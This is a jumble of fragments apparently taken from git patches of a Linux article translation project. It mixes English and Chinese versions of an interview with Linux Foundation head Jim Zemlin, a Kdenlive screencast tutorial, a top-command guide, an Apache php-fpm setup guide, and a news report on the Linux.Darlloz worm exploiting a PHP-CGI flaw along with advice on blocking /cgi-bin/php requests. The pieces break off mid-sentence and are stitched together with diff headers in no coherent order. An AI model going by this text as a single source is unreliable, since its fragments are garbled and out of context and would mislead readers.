We’ve heard rumors that Linus [Torvalds, Linux creator] OK’d a Linux backdoor for the government.** + +**Zemlin**: If there were a backdoor in Linux, you’d know it. + +The whole world can see every line of code in Linux. This is one of the reasons Linux is more secure than other operating systems and why open-source software overall is a safer than closed software. The transparency of the code ensures it’s secure. + +And for the record: He wasn’t approached. + +**VentureBeat: How committed is the foundation to preserving Linux users’ privacy and freedom from tracking/surveillance?** + +**Zemlin**: As committed as we have always been. It’s very difficult to insert something into the kernel that would violate privacy and freedom without thousands of developers noticing. The nature of Linux is that it’s self-policing. + +**VentureBeat: Do you think there’s any chance that this year’s privacy/security/surveillance issues has driven or will drive more consumers toward Linux?** + +**Zemlin**: Around the world, I am hearing people say, “Using open source is a critical to ensure privacy.” So yes, I think that will drive more users people to Linux. + +I also think more consumers are being driven toward Linux for a variety of reasons, in addition to the confidence and trust they have about privacy and security related to the platform. The transparency of the code and development process gives increasingly knowledgeable and aware consumers an option they feel good about. + +[Video game publisher] Valve and [its work on SteamOS][1] is driving more consumers to Linux, as is the ongoing dominance of Android and other consumer devices that run Linux — from televisions to appliances, cars, and more. + +**VentureBeat: Do you have any thoughts on the Ubuntu Edge for phones? Where do you see the market for Linux/Ubuntu phones going in 2014-2015?** + +**Zemlin**: I like seeing potentially interesting new products go to market, especially when they’re Linux-based. It is hard to predict what product will produce a big hit in the phone market from year to year. + +I don’t think it is a stretch to predict phones based on Linux will dominate. Android, Tizen, Ubuntu, Firefox, and more show that Linux can drive innovation in the mobile market and create new experiences for consumers and market opportunities for developers and OEMs. + +What’s exciting about the year ahead, and what I’ll be watching, is how Linux and open source will help connect all of these devices, objects, and services together. + +**VentureBeat: What’s the most exciting use case you’ve seen so far for Linux embedded in automobile systems?** + +**Zemlin**: No question it’s the in-vehicle-infotainment systems being built by Cadillac, Tesla, Toyota, Jaguar, Land Rover, and others. + +For example, the Tesla Model S, which won the Motor Trend Car of the Year [honor] in 2013, features a 17-inch flat-screen computer running a custom-built Linux OS. This is really, really cool stuff. + +And the 2014 Motor Trend Car of the Year was just revealed — the Cadillac CTS sedan — and it also uses Linux for its in-vehicle-infotainment system. Car makers are able to innovate and differentiate with these systems using Linux. + +The success of Linux here can be seen in the latest numbers from IHS Automotive, which reported this month that sales of automotive Linux are expected to rise to 53.7 million units in 2020, passing Microsoft and Blackberry QNX in the global automotive infotainment market. + +The Linux Foundation does a lot of work in this area with its Automotive Grade Linux workgroup. By hosting a neutral, supportive environment among the Linux kernel community, other open-source communities, and the automotive industry, we’re able to help advance automotive Linux technologies among some of the world’s largest automakers including Nissan, Jaguar, Land Rover, Toyota, and more. + +**VentureBeat: How is Linux growing beyond the hardcore developer market, especially with regard to consumers and gamers?** + +**Zemlin**: This year has been a turning a point for Linux with gamers for sure. Valve, the gaming company behind the Steam web platform for Linux, builds and runs all of its source code and animation on Linux. Valve’s CEO Gabe Newell reported at LinuxCon this year that they’re running 198 games on Linux, and with the introduction of the Linux-based Steam, that number will only continue to go up. This is the beginning of a new trend for Linux and gaming. + +Consumers use Linux every day. It is the software that runs our lives. Companies like Google, Facebook, and Twitter are built on Linux and open-source software. At our LinuxCon Europe conference in October, Twitter’s Chris Aniszczyk told the audience: “Twitter is of course all running on Linux. Why would you need anything else?” + +Linux now powers the 1.3 million Android phones that are activated daily, and most of the nearly 600,000 new TVs sold every day. New appliances and cars are being built with Linux. Major transportation systems use the operating system. The superpopular [GoPro uses Linux and open source][2]. The examples are endless. + +And Linux and open source will just keep reaching more into mainstream consumer life.

The rise of cloud computing is creating new challenges for developers and new opportunities for growth. Try to find a public cloud that’s not running Linux. + +The realization of years of promise in software defined networking will be one of the major stories of 2014. People don’t appreciate how big software defined networking and network function virtualization will become. Think about it. Billions of dollars are spent on hardware based switches, routers, load balancers, firewalls, etc.; this is all being abstracted into software. More importantly it is being abstracted via open source software in the sweet spot for OSS which is at this infrastructure layer. I think you’ll see projects like OpenDaylight and others have a big breakout year in 2014. + +Of course, this is all part of a broader trend towards collaborative development, which should be of interest to your readers. I’d predict that in another decade nearly all of infrastructure software will be built collaboratively. Developers in 2014 need to learn how to build software collaboratively and how to work on and contribute to open source software projects. Their career opportunities will be endless if they understand the principles of collaborative development and open source software. + +It’s a thrilling time to be involved in Linux.

Linux has all the tools you need to make high-quality and useful instructional videos. We shall make a simple screencast with the wonderful Kdenlive video editor and the Audacity audio recorder and editor, and learn how to share this splendid screencast on YouTube. - -All you need is your nice Linux PC with Kdenlive and Audacity installed, a good-quality microphone or headset, and a YouTube account. (Yes, there are many other free video-sharing services, and you are welcome to explore them.) YouTube is owned by Google, so Google tries to entice you into rampant sharing with everything and everyone in the world. Just say no if this is not what you want to do. - -Our workflow goes like this: - -- Capture screencast with Kdenlive -- Record soundtrack with Audacity -- Add soundtrack to Kdenlive -- Upload to YouTube -- The world views your video and is happy. - -Kdenlive supports most popular digital video formats, including AVI, MP4, H.264, and MOV. It supports image files such as GIF, PNG, SVG, and TIFF, and audio file formats including uncompressed PCM, Vorbis, WAV, MP3 and AC3. You can even read and edit Flash files. In short, it should handle pretty much anything you throw at it. - -Your soundtrack is just as important as your video track. Please, I beg you, pay attention to your audio. Keep it clean and simple, and keep the rambling digressions, verbal tics, and distracting background noises to a minimum. I prefer a good-quality headset for making narrations because you don't have to worry about microphone placement, and you can listen to yourself over and over without driving bystanders insane. - -The Kdenlive documention is outdated and tells you that you need RecordMyDesktop to make screencasts. I have Kdenlive 0.9.4, and it does not need RecordMyDesktop. - -![](http://www.linux.com/images/stories/41373/fig-1-settings.png) - -*Figure 1: Default profile settings.* - -### Making the Screencast ### - -If you're installing Kdenlive for the first time you'll get a configuration wizard at first run. Don't worry too much about the default settings because you can change them anytime. These are the settings I use for my screencasts: HD 720p 30 fps, 1280x720 screen size. How do you know what settings to use? [YouTube tells you][1]. To set these values go to Settings > Configure Kdenlive > Project Defaults > Default Profile > HD 720p 30fps (figure 1), and set the size of your screen capture in Settings > Configure Kdenlive > Capture > Screen Grab (figure 2). You may also choose a Full Screen Capture, though it's better to stick with the dimensions specified by YouTube, because if they're different YouTube adds pillarboxes to make them fit. Your eager viewers want to see a screen filled with glorious content, not pillarboxes. - -![](http://www.linux.com/images/stories/41373/fig-2-settings.png) - -*Figure 2: Screencast screen size.* - -The default YouTube video player size is 640x360 at 320p, which is small and blurry. The player has controls for small, larger, and full-screen, plus multiple quality levels. These are for your viewers only, and you can't change the defaults, which is sad because nothing looks good at 640x360 at 320p. But you still want to make videos with the higher quality settings, and you can always add some text to remind your viewers to try the better settings. - -### Save Your Project ### - -Before you do anything else go to File > Save as to save your project, and remember to save it periodically. - -### Screen Grab ### - -Making your screen capture is easy as pie. Go to the Record Monitor, select Screen Grab, and then hit the Record button. This opens a box with dotted borders on your screen, and everything inside this box is recorded. So all you have to do is move and size the window you want recorded inside the box. Do your thing, then when you're finished click the stop button (figure 3). - -![](http://www.linux.com/images/stories/41373/fig-3-screen-grab.png) - -*Figure 3: Making the screen grab.* - -Clicking Stop automatically opens the Clip Monitor so you can preview your new clip. If you like it, drag it from the Project Tree to the Video 1 track. Now you can edit your new video. There are always bits you'll want to trim; a fast way to do this is to play your clip in the Project Monitor until you get to the end of the part you want to remove. Then Pause, then press Shift+r. This cuts your clip at the point on the timeline that you stopped, so now you have two clips. Click on the one you want to delete and press the Delete key, and poof! It is gone. - -You'll want to drag your remaining clip to whatever point on the timeline you want it to start, and you might want to add some nice transitions. Some simple fades are good; simply right-click on your clip and click Add Effect > Fade > Fade from black and Fade to black, and Kdenlive will automatically place them at the beginning and end. - -### Adding a Soundtrack ### - -Please see [Whirlwind Intro to Audacity on Linux: From Recording to CD in One Lesson][2] to learn the basics of recording with Audacity. Export your recording as a 16-bit WAV file and then import it into Kdenlive via Project > Add Clip. Drag your new audio clip down to one of the Audio tracks. An easy way to make your narration is to play your video track and talk as it plays. With a little luck you won't have to do a lot of cleanup, and your commentary will be in sync with the video. - -![](http://www.linux.com/images/stories/41373/fig-4-audio-gap.png) - -*Fig 4: Cut your track with Shift+r and drag one of the clips away from the cut to create a silent gap.* - -If you're a fast talker and get ahead of your video, you can easily add a space in the audio track. Simply cut your track with Shift+r, and drag one of the clips away from the cut to create a silent gap (figure 4). - -### Rendering Your Project ### - -When you're happy with your edits and ready to export to your final format, click the Render button. This takes a few minutes depending on the speed of your computer and size of your project. There are presets for Web, and if you choose File Rendering you can tweak your settings (figure 5). I've gotten good results with File Rendering > H.264, Video bitrate 12000, and audio 384. H.264 is a super-compressed MPEG-4 format that delivers small file sizes and good quality. - -![](http://www.linux.com/images/stories/41373/fig-5-rendering.png) - -*Fig. 5: Choose File Rendering to tweak your Web settings.* - -### YouTube Bound ### - -Play your new video in VLC or MPlayer or whatever you like, and if it looks good then you're ready to upload to your YouTube account. In typical Google fashion your dashboard and video manager are disorganized and complicated, but keep poking around and you'll figure it out. Before you can do anything you'll have to put your account in good standing, which means getting a code number from Google via text or email. When you prove you're not a bot by entering the code number you'll be able to upload videos. - -You can upload your videos and mark them as either private or public. Google has some editing tools you might like, such as auto-fix and music soundtracks, though in my nearly-humble opinion hardly anyone does background music correctly so it's just annoying. But you might be the first to do it right! - -The most useful editing tool is automatic closed-captioning. I recommend using this on all of your videos, not only for people who can't hear very well but for anyone who has to keep the volume low, and to make sure everyone understands what you're saying. The captioning tool also creates a transcript. - -Another useful tool is the annotations tool, which supports speech bubbles, titles, spotlights, and labels. Of course you can do all this in Kdenlive, so you can try both. - -Well, here we are at the end and it seems we've barely begun. Please share your videos and YouTube tips and tricks in the comments. And while you're at it, please share your new video tutorial with us on [video.linux.com][3] and join the 100 Linux Tutorials Campaign. - - -

HD 720p 30fps（图1），设置捕捉屏幕的大小到 Settings > Configure Kdenlive > Capture > Screen Grab（图2）。虽然你也可以选择捕捉全屏幕，但最好还是坚持用YouTube规定的尺寸。因为如果使用的尺寸与YouTube规定的不一样,则YouTube将增加Pillarboxes来达到合适的尺寸。热切的观众会更加希望看到一个充满生动的内容的屏幕，而不是Pillarboxes。 +

+现在你可以在VLC或MPlayer或你喜欢的任何播放器中播放你的视频了,如果它看起来很好,那么你就可以将它上传到你的YouTube帐户里了。以典型的Google风格，你的信息中心和视频管理器会混乱又复杂，不过请坚持到处瞅瞅，你会理出头绪的。在你做任何事情之前，你必须对你的账户做资格认证，也就是通过短信和邮件获得一个验证码。通过输入验证码证明你不是一个网络爬虫后，你就能上传你的视频了。 + + +你可以上传你的视频，然后标记它们为私人可见或所有人可见。Google有一些编辑工具，你可能会喜欢，比如自动纠错和配背景音乐。不过以我的拙见，几乎没有人是这样子做背景音乐的，所以这种工具只会令人讨厌。不过你有可能是第一个正确使用这个工具的人哦。 + +最有用的编辑工具是自动闭路字幕。我推荐在你所有的视频上使用此功能，不光是为了那些听觉障碍的人，也为了那些需要保持低音量观看的人，确保所有的人都明白你在说什么。字幕工具还创建一个副本。 + +另一个有用的工具是注释工具，它支持言语泡沫，标题，聚光灯和标签。当然，在Kdenlive中，这些你都可以做到，所以都可以尝试一下。 + +好吧，到这里就结束了，但似乎我们刚刚开始。请分享你的视频，并在评论中添加Youtube的小建议和技巧。如果可以的话，请在[video.linux.com][3]分享你的新的视频教程，并加入100个Linux教程活动。 + + +-------------------------------------------------------------------------------- +

One of the most important tools for a system administrator. It is used extensively for monitoring the load on a server. In this article, we explore the top command in detail. The top command is an interactive command. Many commands are available when top is running. We will explore these commands as well. - -### 1. Top Command output: ### - -First of all, let us understand what the output says. Top command displays a lot of information about the running system.

The processes can be in different states. It shows total number of the processes. Out of these, the processes can be running, sleeping, stopped or in zombie (zombie is the state of a process state, These process summary can be toggled with ‘t’ command. - -#### 1.3 CPU States: #### - -![CPU status display](http://linoxide.com/wp-content/uploads/2013/11/04.top_cpu_states.png) - -Next is shown the CPU state. Here, %age of CPU time in different modes is shown. The meaning of different CPU times are: - -- us, user: CPU time in running (un-niced) user processes -- sy, system: CPU time in running kernel processes -- ni, niced: CPU time in running niced user processes -- wa, IO wait: CPU time waiting for IO completion -- hi: CPU time serving hardware interrupts -- si: CPU time serving software interrupts -- st: CPU time stolen for this vm by the hipervisor. - -This can be toggled with ‘t’ command. - -#### 1.4 Memory Usage: #### - -![Memory usage](http://linoxide.com/wp-content/uploads/2013/11/05.top_mem_usage.png) - -Next two lines show memory usage, somewhat like ‘free’ command. 1st of these lines is for physical memory and the second for virtual memory (swap space). - -The physical memory is displayed as: total available memory, used memory, free memory, and memory used for buffers -Similarly, swap reflects: total, used, free and cached swap space. -The memory can be toggled with ‘m’ command. - -#### 1.5 Fields/Columns: #### - -![Top columns](http://linoxide.com/wp-content/uploads/2013/11/06.top_fields.png) - -After these horizontal system properties and states, the processes are shown in columns. The different columns represent different properties discussed below. - -By default, top shows these attributes associated with processes: - -**PID** -The Process ID, to uniquely identify a processes. - -**USER** -The effective user name of the owner of the processes. - -**PR** -The scheduling priority of the process. Some values in this field are ‘rt’. It means that the process is running under real-time. - -**NI** -The nice value of the process. Lower values mean higher priority. - -**VIRT** -The amount of virtual memory used by the process. - -**RES** -The resident memory size. Resident memory is the amount of non-swapped physical memory a task is using. - -**SHR** -SHR is the shared memory used by the process. - -**S** -This is the process status. It can have one of the following values: - -- D – uninterruptible sleep -- R – running -- S – sleeping -- T – traced or stopped -- Z – zombie - -**%CPU** -It is the percentage of CPU time the task has used since last update. - -**%MEM** -Percentage of available physical memory used by the process. - -**TIME+** -The total CPU time the task has used since it started, with precision upto hundredth of a second. - -**COMMAND** -The command which was used to start the process. - -There are many other outputs which are not displayed by default which can display information about page faults, effective group and group ID of the process, and many more. - -### 2.

The vulnerability is tracked as CVE-2012-1823 and was patched in PHP 5.4.3 and PHP 5.3.13 in May 2012. - -The new worm, which was named Linux.Darlloz, is based on proof-of-concept code released in late October, the Symantec researchers said Wednesday in a [blog post][1]. - -"Upon execution, the worm generates IP [Internet Protocol] addresses randomly, accesses a specific path on the machine with well-known ID and passwords, and sends HTTP POST requests, which exploit the vulnerability," the Symantec researchers explained. "If the target is unpatched, it downloads the worm from a malicious server and starts searching for its next target." - -The only variant seen to be spreading so far targets x86 systems, because the malicious binary downloaded from the attacker's server is in ELF (Executable and Linkable Format) format for Intel architectures. - -However, the Symantec researchers claim the attacker also hosts variants of the worm for other architectures including ARM, PPC, MIPS and MIPSEL. - -These architectures are used in embedded devices like home routers, IP cameras, set-top boxes and many others. - -"The attacker is apparently trying to maximize the infection opportunity by expanding coverage to any devices running on Linux," the Symantec researchers said. "However, we have not confirmed attacks against non-PC devices yet." - -The firmware of many embedded devices is based on some type of Linux and includes a Web server with PHP for the Web-based administration interface. These kinds of devices might be easier to compromise than Linux PCs or servers because they don't receive updates very often. - -Patching vulnerabilities in embedded devices has never been an easy task. Many vendors don't issue regular updates and when they do, users are often not properly informed about the security issues fixed in those updates. - -In addition, installing an update on embedded devices requires more work and technical knowledge than updating regular software installed on a computer. Users have to know where the updates are published, download them manually and then upload them to their devices through a Web-based administration interface. - -"Many users may not be aware that they are using vulnerable devices in their homes or offices," the Symantec researchers said. "Another issue we could face is that even if users notice vulnerable devices, no updates have been provided to some products by the vendor, because of outdated technology or hardware limitations, such as not having enough memory or a CPU that is too slow to support new versions of the software." - -To protect their devices from the worm, users are advised to verify if those devices run the latest available firmware version, update the firmware if needed, set up strong administration passwords and block HTTP POST requests to -/cgi-bin/php, -/cgi-bin/php5, -/cgi-bin/php-cgi, -/cgi-bin/php.cgi and -/cgi-bin/php4, either from the gateway firewall or on each individual device if possible, the Symantec researchers said. - --------------------------------------------------------------------------------- - -via: http://www.computerworld.com/s/article/9244409/This_new_worm_targets_Linux_PCs_and_embedded_devices?taxonomyId=122 - -译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 - -[1]:http://www.symantec.com/connect/blogs/linux-worm-targeting-hidden-devices diff --git a/translated/This new worm targets Linux PCs and embedded devices.md b/translated/This new worm targets Linux PCs and embedded devices.md new file mode 100644 index 0000000000..d4676cf316 --- /dev/null +++ b/translated/This new worm targets Linux PCs and embedded devices.md @@ -0,0 +1,39 @@ +新蠕虫能感染 Linux 系统和嵌入式设备！ +================================================================================ +**来自𧶼门铁克研究员的消息，这个病毒通过2012年出现的 PHP 漏洞传播** + +据美国国际数据集团（IDG）的新闻 —— 一个新的蠕虫病毒将目标指向那些运行了 Linux 和 PHP 的 x86 架构计算机，其变种还会对运行在其他芯片架构上的设备（诸如家用路由器和机顶盒）造成威胁。 + +根据𧶼门铁克研究员的介绍，这种病毒利用 php-cgi 上的一个漏洞进行传播，这个 php-cgi 组件的功能是允许 PHP 代码在通用网关接口（CGI）的配置环境下被执行。此漏洞的代号为 CVE-2012-1823（通过这个漏洞，攻击者可以远程执行任意代码，所以这个漏洞又叫“程任意代码执行漏洞” —— 译者注）。2012年5月份，PHP 5.4.3 和 PHP 5.3.13 这两个版本被打上补丁，修复了这个漏洞。 + +这个𧶼门铁克的研究员在[博客][1]中写道：这个名为“Linux.Darlloz”的新蠕虫病毒基于去年10月份放出的 PoC 代码（PoC：proof of concept，概念验证。利用目标计算机的漏洞，为对其进行攻击而设计的代码称为 exploit，而一个没有充分利用漏洞的 exploit，就是 PoC —— 译者注）。 + +“在传播过程中，这段蠕虫代码会随机产生 IP 地址，通过特殊途径，利用普通的用户名密码发送 HTTP POST 请求，探测漏洞”，研究员解释道：“如果一个目标没有打上 CVE-2012-1823 的补丁，这台机器就会从病毒服务器下载蠕虫病毒，之后寻找下一个目标。” + +这个唯一的蠕虫变种目前为止只感染了 x86 系统，这是因为这个病毒的二进制格式为 Intel 架构下的 ELF （Executable and Linkable Format）格式。 + +然而这个研究员警告说，黑客也为其他架构开发了病毒，包括 ARM，PPC，MIPS 和 MIPSEL。 + +这些计算机架构主要用于诸如家用路由器、网络监视器、机顶盒以及其他嵌入式设备。 + +“攻击者显然试图在最大范围内感染运行 Linux 的设备”，研究员又说：“然而我们还没有证实他们有没有攻击非 PC 设备。” + +很多嵌入式设备的固件都使用 Linux 作为操作系统，并且使用 PHP 作为 Web 服务管理界面。这些设备比 PC 机 或服务器更容易被攻陷，因为它们不会经常更新软件。 + +在嵌入式设备为一个漏洞打上补丁，从来都不是件容易的事。很多厂商都不会定期公布更新信息，而当他们公布时，用户也不会被告知说这些更新解决了哪些安全问题。 + +并且，在嵌入式设备上更新软件比在计算机上需要更多的工作，以及更多的技术知识。用户需要知道哪些网站能提供这些更新，然后下载下来，通过 Web 界面更新到他们的设备中。 + +“很多用户也许压根就不知道他们家里或办公室的设备存在漏洞，”啰嗦的研究员说：“我们面临的另一个问题是，即使用户注意到他们用的是有漏洞的设备，这些设备的供应商却没有提供补丁，原因是技术落后，或者完全就是硬件的限制：内存不足，或 CPU 太慢，不足以支持这些软件的新版本。” + +“为了保护他们的设备免受蠕虫感染，用户需要确认这些设备是否运行在最新的固件版本上，必要的话，升级固件，设置高强度的管理员密码，在防火墙那儿，或任何独立的设备那儿，屏蔽任何对 -/cgi-bin/php, -/cgi-bin/php5, -/cgi-bin/php-cgi, -/cgi-bin/php.cgi and -/cgi-bin/php4 的 HTTP POST 请求。”没完没了的𧶼门铁克研究员说道。 + +-------------------------------------------------------------------------------- + +via: http://www.computerworld.com/s/article/9244409/This_new_worm_targets_Linux_PCs_and_embedded_devices?taxonomyId=122 + +译者：[bazz2](https://github.com/bazz2) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.symantec.com/connect/blogs/linux-worm-targeting-hidden-devices From ddd4395cff2a4af342078283d85199688082c868 Mon Sep 17 00:00:00 2001 From: NearTan Date: Mon, 2 Dec 2013 20:41:35 +0800 Subject: [PATCH 321/402] translated by NearTan --- ... setup EPEL repository on CentOS 5 or 6.md | 96 ----------------- ... setup EPEL repository on CentOS 5 or 6.md | 101 ++++++++++++++++++ 2 files changed, 101 insertions(+), 96 deletions(-) delete mode 100644 sources/How to setup EPEL repository on CentOS 5 or 6.md create mode 100644 translated/How to setup EPEL repository on CentOS 5 or 6.md diff --git a/sources/How to setup EPEL repository on CentOS 5 or 6.md b/sources/How to setup EPEL repository on CentOS 5 or 6.md deleted file mode 100644 index 7308f79ec2..0000000000 --- a/sources/How to setup EPEL repository on CentOS 5 or 6.md +++ /dev/null @@ -1,96 +0,0 @@ - NearTan 选题 -How to setup EPEL repository on CentOS 5/6 -================================================================================ -What is EPEL repository - -EPEL (Extra Packages for Enterprise Linux) is a project from the Fedora group that maintains a repository of software packages that are not already present on RHEL/CentOS.

This allows for a complete separation between the running of php scripts and Apache. Earlier we had to use modules like mod_fcgid and mod_fastcgi which all had some limitations. Mod_fcgid for example did not properly utilise the process management capability of php-cgi whereas mod_fastcgi is a third party module. + +With the arrival of mod_proxy_fcgi Apache finally gets the ability to neatly talk to external fastcgi process managers making it more efficient at the task. Delegating php requests to external fpm servers greatly reduces the load on web servers like apache resulting into efficient utilisation of machine resources and faster processing speed for users on the other end. Along with all that, php fpm can run opcode caching engines like apc in a very stable manner. + +So in this post, our task is to setup apache + php-fpm using the mod_proxy_fcgi connector. + +### 1.

In this example I used fpm.localhost so that when using that sub domain on localhost, php fpm is used. Its just an example. + +2. **DocumentRoot** - This is the root of this vhost from where the web files shall be served. + +3. **ProxyPassMatch** - This is the directive that tells forward all requests for ".php" files to fcgi server at 127.0.0.1:9000. This is where our php fpm process manager would be running. More on this in the next section. +The fcgi url must contain the exact path to the document root. Otherwise it would say "File Not Found" when requesting for files. + +> ProxyPassMatch ^/(.*\.php(/.*)?)$ fcgi://127.0.0.1:9000/var/www/mysite/$1 + +The first parameter is the pattern to match. So all urls that have a ".php" in them followed by an option slash and anything else are matched and the matched part is forwarded to the fcgi server running at 127.0.0.1:9000. + +4. **Require all granted** - After the ProxyPassMatch line we added a section with Require and AllowOverride directives.

'yoursite' for example. That way it would be easier to remember. + +2. Setup the user and group that this pool will run with. When you are setting up multiple sites/domains/virtualhosts on a server, you would always want to setup separate user accounts and corresponding pool for each of those. This is an essential security measure, so that every pool has privileges of its own user only. + +3. Setup the listening socket. This is the socket on which the master fpm process shall listen for incoming requests. This can be a unix socket or a tcp socket. However [mod_proxy_fcgi does not yet support unix sockets][1], so we are limited to tcp sockets. +Over here its port number 9000 on localhost. + +Now restart fpm + + $ sudo service php5-fpm restart + +Now the new fpm pool should take effect. You can see the new pool process in htop for example. + +### 3. Test the setup ### + +Now that both apache and php fpm are configured and setup, its time to test.

controversial issues of government spying and “backdoors” — those nefarious windows into our personal online lives that the public recently discovered in most of the services we use every day. + +我们也探讨了争议性的话题，就是政府部门的监听事件以及‘后门’-那些邪恶的窗口，窥探我们网上的私生活，最近公众发现我们经常使用的大多数服务都有类似的遭遇。 + +Zemlin gave us the skinny on how and why GNU/Linux remains the most secure option for concerned consumers — and why it’s becoming the OS of choice for powering cars, phones, TVs, and all kinds of emerging devices. +Zemlin 为我们解释了 GNU/Linux 为什么以及如何使自身成为内心有些担忧的消费者的最安全的选择。还有就是为什么选择GNU/Linux作为车载操作系统，TVs以及其他新兴设备的操作系统。 + +以下是我们e-mail问答形式的实录。 + +---------- + +**VentureBeat: 安全和隐私成为今年的热门话题，我们听到的谣言，Linus[Torvalds, Linux 创始人]对政府部门是否有安装后门的要求点头称是。** + +**Zemlin**: Linux是否有后门，你是可以知道的. + +世界上所有人都可以看到Linux的每一行代码。这也是linux要比其他操作系统更安全、开源整体要比闭源更安全的原因之一。代码的透明度保证了它的安全性。 + +And for the record: He wasn’t approached. +记录在案的是：后门并没有进入到linux。 + +**VentureBeat: Linux基金会如何保证Linux用户的隐私和自由，使其免于遭受追踪和监视？** + +**Zemlin**: 对此，我们一以贯之。向内核插入违反隐私权和背离自由精神的代码而不被成千上万的开发者注意到，这是很难的。Linux的本性就是自我定制。 + +**VentureBeat: 今年的隐私/安全/监视事件会不会促使, 或者将会促使更多的消费者倾向于Linux，对此你作何感想？** + +**Zemlin**: 世界范围内，我听到人们都在说，“用开源保证隐私是必须的。”的确，那会促使更多的使用者选择Linux。 + +除了他们对linux平台下的隐私和安全持自信、信任的态度以外， 我认为消费者会基于多种原因选择Linux。 +代码的透明性以及开发过程逐渐给予博学和警觉的消费者一个选择，一个会让他们对linux感觉良好的选择。 + +[视频游戏发行商] Valve [及其SteamOS下的工作][1] 正在促使更多的消费者走进Linux，就像逐渐占据主导的Android和其他运行Linux的电子设备一样，比如电视、家电、汽车等，当然还有更多。 + +**VentureBeat: 针对手机的Ubuntu Edge, 对它有何看法？ 对于2014-2015年Linux/Ubuntu手机市场走势，你作何预测？* + +**Zemlin**:我希望看到潜在的有趣的新产品进入市场，尤其是基于Linux的产品。很难说每年哪款产品会成为手机市场的新宠。 + +我认为预测基于Linux的手机将占据主导地位，不算夸大事实。Android, Tizen, Ubuntu, Firefox,等等等等，都显示出Linux可以驱动手机市场的创新，并且为消费者创造新的体验，为开发者和OEMs创造机会。 + +明年令人振奋的及我所关注的，就是，linux和开源界如何把这些设备、对象和服务关联到一起。 + +**VentureBeat: What’s the most exciting use case you’ve seen so far for Linux embedded in automobile systems?** +**VentureBeat: 目前为止，你看到的linux嵌入式车载系统的最令人激动的使用案例是什么？** + +**Zemlin**: 毫无疑问，就是，Cadillac, Tesla, Toyota, Jaguar, Land Rover等都搭建了车载信息娱乐系统。 + +比如，今年赢得了 “年度汽车族”奖项的Tesla Model S，装备了一个17英寸平面、运行着定制Linux的电脑。这真的是太酷了。 + +2014年度汽车族刚刚揭晓 -- Cadillac CTS sedan, 也是使用linux作为车载信息娱乐系统。汽车制造商有能力使用linux进行创新并区别使用这些系统。 + +Linux的成功也能从来自IHS汽车的最新数据上看到，IHS本月报告称，在全球车载信息娱乐市场，基于linux的汽车销量2020年有望达到5.37千万，超过微软和黑莓QNX。 + +Linux基金会协同汽车级Linux工作组在该领域做了许多工作。通过在Linux内核社区，其他开源社区，以及汽车行业，营造一个中立、支持性的环境，针对一些世界上大的汽车制造商如日产，捷豹，路虎，丰田，等等，我们可以帮助其推动汽车linux技术。 + +**VentureBeat: 在硬核开发者市场以外，Linux是如何发展壮大的，尤其是考虑到消费者和游戏玩家？** + +**Zemlin**:可以肯定的是，对游戏玩家来说，今年是linux的一个转折点。Valve, 基于Steam网络平台的一个游戏厂商，在linux上构建并运行所有的源代码和动画。Valve CEO Gabe Newell 称，今年的LinuxCon大会上他们在linux平台运行了198个游戏，随着引进基于linux的Stream，这个数字还会上升。这是Linux和游戏界新趋势的开端。 + +用户每天都在用linux。软件支撑着我们的日常生活。像Google，Facebook还有Twitter等公司，都建立在Linux和开源软件之上。去年10月份LinuxCon欧洲大会上，来自Twitter的Chris Aniszczyk告诉观众： +“Twitter 理所当然完全运行在linux上。为什么你们还需要其他的东西？”(言外之意就是有linux就够了，不需要别的什么东西了。) + +如今Linux驱动着130万台日常用Android手机，每天近60万基于linux的新电视售出。新的家电以及汽车都建立在linux之上。主要交通系统也都在使用linux。最受欢迎的[GoPro 使用linux和开源软件][2]。举不完的例子。 + +Linux和开源理念将会逐渐融入主流消费者的生活。三星使用linux内核以及基于linux的产品充实它的产品线，从电视机到手机，再到家电，等等等等。 + +敬请关注 - 你会看到更多的实例，无不展现出Linux和开源软件以及协同开发在日常生活中发挥越来越大的作用。 + +**VentureBeat: 在你看来，到2014年，免费和开源软件最大的机遇会是什么？** + +**Zemlin**: 我们已经谈到游戏和电子设备，但是企业将会继续为linux呈现更多的机会。云计算的兴起为开发者带来新的机遇和挑战。你试着去找找没有运行在linux上的公共云。 + +软件定义的网络实现将成为2014年的主要活动之一。人们并没有期望着软件定义网络以及网络功能虚拟化变得多么大。想想吧。数十亿美元花费在硬件上，交换机，路由，负载均衡器，防火墙等等。这些都抽象成了软件。更更重要的是,它是在开源软件的基础架构甜蜜点OSS层被抽象。我认为你会看到，像OpenDaylight项目以及其他项目，在2014年都会有大的突破。 + +当然，这只是实现协同发展的大趋势的一部分，你的读者应该会对此感兴趣。我的推测是再过一个20年，几乎所有的基础软件都会议协同开发的方式进行构建。2014年开发者需要学习如何以协同方式构建软件，要学会如何参与开源项目并且贡献代码。如果开发者能够理解协同开发和开源的原则和理念，那么他们职业生涯中的机遇将会是无穷的。 + +参与到linux的世界中来，这是一个激动人心的时刻。从智能手表到电视机，到汽车，所有你能想到的，Linux成为事实上的平台。 +-------------------------------------------------------------------------------- + +via:

By hosting a neutral, supportive environment among the Linux kernel community, other open-source communities, and the automotive industry, we’re able to help advance automotive Linux technologies among some of the world’s largest automakers including Nissan, Jaguar, Land Rover, Toyota, and more. - -**VentureBeat: How is Linux growing beyond the hardcore developer market, especially with regard to consumers and gamers?** - -**Zemlin**: This year has been a turning a point for Linux with gamers for sure. Valve, the gaming company behind the Steam web platform for Linux, builds and runs all of its source code and animation on Linux. Valve’s CEO Gabe Newell reported at LinuxCon this year that they’re running 198 games on Linux, and with the introduction of the Linux-based Steam, that number will only continue to go up. This is the beginning of a new trend for Linux and gaming. - -Consumers use Linux every day. It is the software that runs our lives. Companies like Google, Facebook, and Twitter are built on Linux and open-source software. At our LinuxCon Europe conference in October, Twitter’s Chris Aniszczyk told the audience: “Twitter is of course all running on Linux. Why would you need anything else?” - -Linux now powers the 1.3 million Android phones that are activated daily, and most of the nearly 600,000 new TVs sold every day. New appliances and cars are being built with Linux. Major transportation systems use the operating system. The superpopular [GoPro uses Linux and open source][2]. The examples are endless. - -And Linux and open source will just keep reaching more into mainstream consumer life. Samsung uses the Linux kernel and Linux-based products throughout its product line, from TVs to phones to home appliances and more. - -Stay tuned — you’ll see more coming that illustrates the growing role of Linux and open source software and collaborative development in 